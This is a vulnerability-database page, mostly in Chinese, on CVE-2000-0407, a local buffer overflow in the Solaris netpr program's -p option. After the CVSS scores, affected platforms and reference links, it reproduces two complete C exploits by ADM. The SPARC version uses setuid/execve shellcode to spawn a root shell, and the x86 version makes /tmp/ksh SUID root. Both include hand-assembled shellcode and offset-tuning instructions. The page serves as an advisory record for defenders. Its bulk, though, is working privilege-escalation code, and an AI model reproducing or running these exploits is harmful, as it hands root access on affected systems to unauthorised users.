CVE-2000-0407
CVSS7.2
发布时间 :2000-05-12 00:00:00
修订时间 :2008-09-10 15:04:35
NMCOE    

[原文]Buffer overflow in Solaris netpr program allows local users to execute arbitrary commands via a long -p option.


[CNNVD]Solaris netpr 缓冲区溢出漏洞(CNNVD-200005-049)

        Solaris netpr程序存在缓冲区溢出漏洞,本地用户可以通过超长-p选项执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:8.0
cpe:/o:sun:solaris:2.6
cpe:/o:sun:solaris:7.0::x86
cpe:/o:sun:solaris:7.0
cpe:/o:sun:solaris:8.0::x86
cpe:/o:sun:solaris:2.6::x86

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0407
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0407
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-049
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1200
(UNKNOWN)  BID  1200
http://archives.neohapsis.com/archives/bugtraq/2000-05/0141.html
(UNKNOWN)  BUGTRAQ  20000512 New Solaris root exploit for /usr/lib/lp/bin/netpr

- 漏洞信息

Solaris netpr 缓冲区溢出漏洞
高危 缓冲区溢出
2000-05-12 00:00:00 2005-05-02 00:00:00
本地  
        Solaris netpr程序存在缓冲区溢出漏洞,本地用户可以通过超长-p选项执行任意命令。

- 公告与补丁

        Checksums for these patches available at: ftp://sunsolve.sun.com/pub/patches/CHECKSUMS
        Sun Solaris 8_x86
        
        Sun Solaris 8
        
        Sun Solaris 2.6
        
        Sun Solaris 2.6 _x86
        
        Sun Solaris 7.0 _x86
        
        Sun Solaris 7.0
        

- 漏洞信息 (19910)

Solaris 2.6/7.0/8 netpr Buffer Overflow Vulnerability (1) (EDBID:19910)
solaris local
1999-05-23 Verified
0 ADM
N/A [点击下载]
source: http://www.securityfocus.com/bid/1200/info

A buffer overrun exists in the 'netpr' program, part of the SUNWpcu (LP) package included with Solaris, from Sun Microsystems. Versions of netpr on Solaris 2.6 and 7, on both Sparc and x86 have been confirmed as being vulnerable. The overflow is present in the -p option, normally used to specify a printer. By specifying a long buffer containing machine executable code, it is possible to execute arbitrary commands as root. On Sparc, the exploits provided will spawn a root shell, whereas on x86 it will create a setuid root shell in /tmp.

/**  
***  netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
***  
***  Tested and confirmed under Solaris 2.6 and 7 (SPARC) 
***  
***  Usage:  % netprex -h hostname [-o offset] [-a alignment]
***  
***  where hostname is the name of any reachable host running the printer
***  service on TCP port 515 (such as "localhost" perhaps), offset is the
***  number of bytes to add to the %sp stack pointer to calculate the
***  desired return address, and alignment is the number of bytes needed
***  to correctly align the first NOP inside the exploit buffer.
***     
***  When the exploit is run, the host specified with the -h option will
***  receive a connection from the netpr program to a nonsense printer
***  name, but the host will be otherwise untouched.  The offset parameter
***  and the alignment parameter have default values that will be used
***  if no overriding values are specified on the command line.  In some
***  situations the default values will not work correctly and should
***  be overridden on the command line.  The offset value should be a
***  multiple of 8 and should lie reasonably close to the default value;
***  try adjusting the value by -640 to 640 from the default value in
***  increments of 64 for starters.  The alignment value should be set
***  to either 0, 1, 2, or 3.  In order to function correctly, the final
***  return address should not contain any null bytes, so adjust the offset
***  appropriately to counteract nulls should any arise.
***  
***  Cheez Whiz / ADM
***  cheezbeast@hotmail.com
***  
***  May 23, 1999
**/  

/*      Copyright (c) 1999 ADM  */
/*        All Rights Reserved   */

/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */

#define BUFLEN 1087
#define NOPLEN 932 
#define ADDRLEN 80 

#define OFFSET 1600             /* default offset */
#define ALIGNMENT 1             /* default alignment */

#define NOP 0x801bc00f          /* xor %o7,%o7,%g0 */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shell[] =
/* setuid:                                                 */
/*  0 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0            */   
/*  4 */ "\x82\x10\x20\x17"  /* mov 23,%g1                 */   
/*  8 */ "\x91\xd0\x20\x08"  /* ta 8                       */   
/* alarm:                                                  */
/* 12 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0            */
/* 16 */ "\x82\x10\x20\x1b"  /* mov 27,%g1                 */
/* 20 */ "\x91\xd0\x20\x08"  /* ta 8                       */
/* execve:                                                 */
/* 24 */ "\x2d\x0b\xd8\x9a"  /* sethi %hi(0x2f62696e),%l6  */
/* 28 */ "\xac\x15\xa1\x6e"  /* or %l6,%lo(0x2f62696e),%l6 */
/* 32 */ "\x2f\x0b\xdc\xda"  /* sethi %hi(0x2f736800),%l7  */
/* 36 */ "\x90\x0b\x80\x0e"  /* and %sp,%sp,%o0            */
/* 40 */ "\x92\x03\xa0\x08"  /* add %sp,8,%o1              */
/* 44 */ "\x94\x1b\xc0\x0f"  /* xor %o7,%o7,%o2            */
/* 48 */ "\x9c\x03\xa0\x10"  /* add %sp,16,%sp             */
/* 52 */ "\xec\x3b\xbf\xf0"  /* std %l6,[%sp-16]           */
/* 56 */ "\xd0\x23\xbf\xf8"  /* st %o0,[%sp-8]             */
/* 60 */ "\xc0\x23\xbf\xfc"  /* st %g0,[%sp-4]             */
/* 64 */ "\x82\x10\x20\x3b"  /* mov 59,%g1                 */
/* 68 */ "\x91\xd0\x20\x08"; /* ta 8                       */

extern char *optarg;

unsigned long int
get_sp()
{
    __asm__("or %sp,%sp,%i0");
}

int
main(int argc, char *argv[]) 
{
    unsigned long int sp, addr; 
    int c, i, offset, alignment;
    char *program, *hostname, buf[BUFLEN+1], *cp;          

    program = argv[0];
    hostname = "localhost";  
    offset = OFFSET;
    alignment = ALIGNMENT;

    while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
        switch (c) {
        case 'h':
            hostname = optarg;
            break;
        case 'o':
            offset = (int) strtol(optarg, NULL, 0);
            break;
        case 'a':
            alignment = (int) strtol(optarg, NULL, 0);
            break;
        default:
            fprintf(stderr, "usage: %s -h hostname [-o offset] "
                    "[-a alignment]\n", program);
            exit(1);
            break;
        }
    }
    memset(buf, '\xff', BUFLEN);
    for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
        *cp++ = (NOP >> 24) & 0xff;
        *cp++ = (NOP >> 16) & 0xff;
        *cp++ = (NOP >>  8) & 0xff;
        *cp++ = (NOP >>  0) & 0xff;
    }       
    memcpy(cp, shell, strlen(shell));
    sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
    for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
        *cp++ = (addr >> 24) & 0xff;
        *cp++ = (addr >> 16) & 0xff;
        *cp++ = (addr >>  8) & 0xff;
        *cp++ = (addr >>  0) & 0xff;
    }   
    buf[BUFLEN] = '\0';
    fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
            sp, offset, addr, alignment);
    execle("/usr/lib/lp/bin/netpr",
           "netpr",
           "-I", "ADM-ADM",
           "-U", "ADM!ADM",
           "-p", buf,
           "-d", hostname,
           "-P", "bsd", 
           "/etc/passwd", NULL, NULL);
    fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
    exit(1);
}   		

- 漏洞信息 (19911)

Solaris 2.6/7.0/8 netpr Buffer Overflow Vulnerability (2) (EDBID:19911)
solaris local
1999-03-04 Verified
0 ADM
N/A [点击下载]
source: http://www.securityfocus.com/bid/1200/info
 
A buffer overrun exists in the 'netpr' program, part of the SUNWpcu (LP) package included with Solaris, from Sun Microsystems. Versions of netpr on Solaris 2.6 and 7, on both Sparc and x86 have been confirmed as being vulnerable. The overflow is present in the -p option, normally used to specify a printer. By specifying a long buffer containing machine executable code, it is possible to execute arbitrary commands as root. On Sparc, the exploits provided will spawn a root shell, whereas on x86 it will create a setuid root shell in /tmp.

/**     
***  netprex - i386 Solaris root exploit for /usr/lib/lp/bin/netpr
***     
***  Tested and confirmed under Solaris 2.6 and 7 (i386)
*** 
***  Usage:  % netprex hostname [offset]
***         
***  where hostname is the name of a host running the printer service on
***  TCP port 515 (such as "localhost" perhaps) and offset (if present)
***  is the number of bytes to add to the stack pointer to calculate your
***  target return address; try -1000 to 1000 in increments of 100 for
***  starters.
***        
***  Cheez Whiz / ADM   
***  cheezbeast@hotmail.com
*** 
***  March 4, 1999
**/ 
    
/*      Copyright (c) 1999 ADM  */
/*        All Rights Reserved   */

/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */

#define BUFLEN 1047
#define NOP 0x90

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>

char shell[] =
/*  0 */ "\xeb\x41"                              /* jmp springboard       */
/* syscall:                                                               */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"          /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                                  /* ret                   */
/* start:                                                                 */
/* 10 */ "\x5e"                                  /* popl %esi             */
/* 11 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xbb"                          /* movl %eax,-0x45(%esi) */
/* 16 */ "\x88\x46\xc0"                          /* movb %al,-0x40(%esi)  */
/* 19 */ "\x88\x46\x08"                          /* movb %al,0x8(%esi)    */
/* chown:                                                                 */
/* 22 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 24 */ "\x50"                                  /* pushl %eax            */
/* 25 */ "\x50"                                  /* pushl %eax            */
/* 26 */ "\x56"                                  /* pushl %esi            */
/* 27 */ "\xb0\x10"                              /* movb $0x10,%al        */
/* 29 */ "\xe8\xe0\xff\xff\xff"                  /* call syscall          */
/* 34 */ "\x83\xc4\x0c"                          /* addl $0xc,%esp        */
/* chmod:                                                                 */
/* 37 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 39 */ "\xb0\x6d"                              /* movb $0x6d,%al        */
/* 41 */ "\xb4\x09"                              /* movb $0x9,%ah         */
/* 43 */ "\x50"                                  /* pushl %eax            */
/* 44 */ "\x56"                                  /* pushl %esi            */
/* 45 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 47 */ "\xb0\x0f"                              /* movb $0xf,%al         */
/* 49 */ "\xe8\xcc\xff\xff\xff"                  /* call syscall          */
/* 54 */ "\x83\xc4\x08"                          /* addl $0x8,%esp        */
/* exit:                                                                  */
/* 57 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 59 */ "\x50"                                  /* pushl %eax            */
/* 60 */ "\xb0\x01"                              /* movb $0x1,%al         */
/* 62 */ "\xe8\xbf\xff\xff\xff"                  /* call syscall          */
/* springboard:                                                           */
/* 67 */ "\xe8\xc2\xff\xff\xff"                  /* call start            */
/* data:                                                                  */
/* 72 */ "\x2f\x74\x6d\x70\x2f\x6b\x73\x68\xff"; /* DATA                  */

char buf[BUFLEN+1];

unsigned long int
get_esp()
{
    __asm__("movl %esp,%eax");                   
}

int
main(int argc, char *argv[])
{
    unsigned long int esp, nop;                                           
    long int offset = 0;                         
    char *hostname, c;                           
    int i, null, umbilical[2];                   
    struct stat st;
    int status;                                                           

    if (argc < 2) {                                                       
        printf("usage: %s hostname [offset]\n", argv[0]);                 
        exit(1);
    }

    esp = get_esp();
    hostname = argv[1];
    if (argc > 2)
        offset = strtol(argv[2], NULL, 0);       
    if (argc > 3)
        nop = strtoul(argv[3], NULL, 0);
    else
        nop = 942;
 
    memset(buf, NOP, BUFLEN);                                             
    memcpy(buf+nop, shell, strlen(shell));       
    for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;         
    
    printf("using return address 0x%08x (0x%08x offset %d) [nop %d]\n",   
           esp+offset, esp, offset, nop);
    
    if (stat("/tmp/ksh", &st) < 0) {
        printf("exploit failed; copy /bin/ksh to /tmp first!\n");
        exit(1);
    }
    
    if (pipe(umbilical) < 0) {
        printf("exploit failed; unable to create a pipe!\n");
        exit(1); 
    }
        
    switch (fork()) {
    case -1:
        printf("exploit failed; unable to fork!\n");
        exit(1);
        break;
    case 0:
        if ((null = open("/dev/null", O_RDWR, 0)) < 0) {
            printf("exploit failed; cannot open /dev/null!\n");
            exit(1);
        }  
        dup2(null, STDIN_FILENO);
        dup2(null, STDOUT_FILENO);  
        dup2(null, STDERR_FILENO);
        if (null > STDERR_FILENO)
            close(null);
        close(umbilical[0]);
        dup2(umbilical[1], 10); /* yes, descriptor 10 -- trust me ;-) */
        execl("/usr/lib/lp/bin/netpr", 
              "netpr",
              "-I", "ADM-ADM",
              "-U", "ADM!ADM",
              "-p", buf,
              "-d", hostname,
              "-P", "bsd",
              "/etc/passwd", NULL);
        printf("exploit failed; unable to exec!\n");
        exit(1);
        break;
    default:
        close(umbilical[1]);
        c = 0;
        while (c != '\n') {
            read(umbilical[0], &c, 1);
        }
        c = '\0';
        while (write(umbilical[0], &c, 1) < 1)
            ;
        wait(&status);
        if (WIFSIGNALED(status)) {
            printf("exploit failed; child process died on signal %d "
                   "(try adjusting the offset)\n", WTERMSIG(status));
            exit(1);
        } else if (WIFEXITED(status) && (WEXITSTATUS(status) != 0)) {
            printf("exploit failed; child process exited with unexpected "
                   "return value %d, instead of 0\n", WEXITSTATUS(status));
            exit(1);
        }
        break;  
    }   
    
    if (stat("/tmp/ksh", &st) < 0) {
        printf("exploit failed; /tmp/ksh disappeared somehow!\n");
        exit(1); 
    } else if (st.st_uid != 0) {
        printf("exploit failed; failed to make /tmp/ksh owned by root!\n");
        exit(1); 
    } else if ((st.st_mode & 07777) != 04555) {
        printf("exploit failed; failed to change /tmp/ksh to mode 4555!\n");
        exit(1);
    } else {
        printf("exploit successful; /tmp/ksh is now SUID root, dewd!\n");
        exit(0);   
    }       
}       		

- 漏洞信息

1330
Solaris netpr -p LocalOverflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-05-12 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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